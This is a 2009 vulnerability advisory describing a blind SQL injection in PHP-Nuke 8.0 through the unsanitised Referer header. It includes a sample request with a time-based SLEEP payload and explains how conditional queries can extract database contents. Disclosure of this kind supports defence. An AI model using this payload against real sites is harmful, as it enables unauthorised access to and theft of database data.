PHP Nuke v.8.0 (referer) SQL Injection
Author: Gerendi Sandor Attila
Original advisory: http://gsasec.blogspot.com/2009/05/php-nuke-v80-referer-sql-injection.html
Date: May 14, 2009
Package: PHP-Nuke
Product homepage: http://phpnuke.org/
Versions Affected: v.8.0 (Other versions may also be affected)
Severity: High
The 'referer' header element when requesting the '/main/tracking/userLog.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
Description:
- Sample request:
GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0
Accept: */*
referer: '+IF(False,'',SLEEP(5))+'
This will result in a query like:
INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')
and the result will arrive after 5 seconds, replacing the 'False' statement with conditional queries can be used to extract arbitrary data from the database. Also the injection can be used to insert arbitrary data into the 'nuke_referer' table.
Status:
1. Contacted the author at: May 14, 2009 via: http://phpnuke.org/modules.php?name=Feedback
2. No response received (May 27, 2009)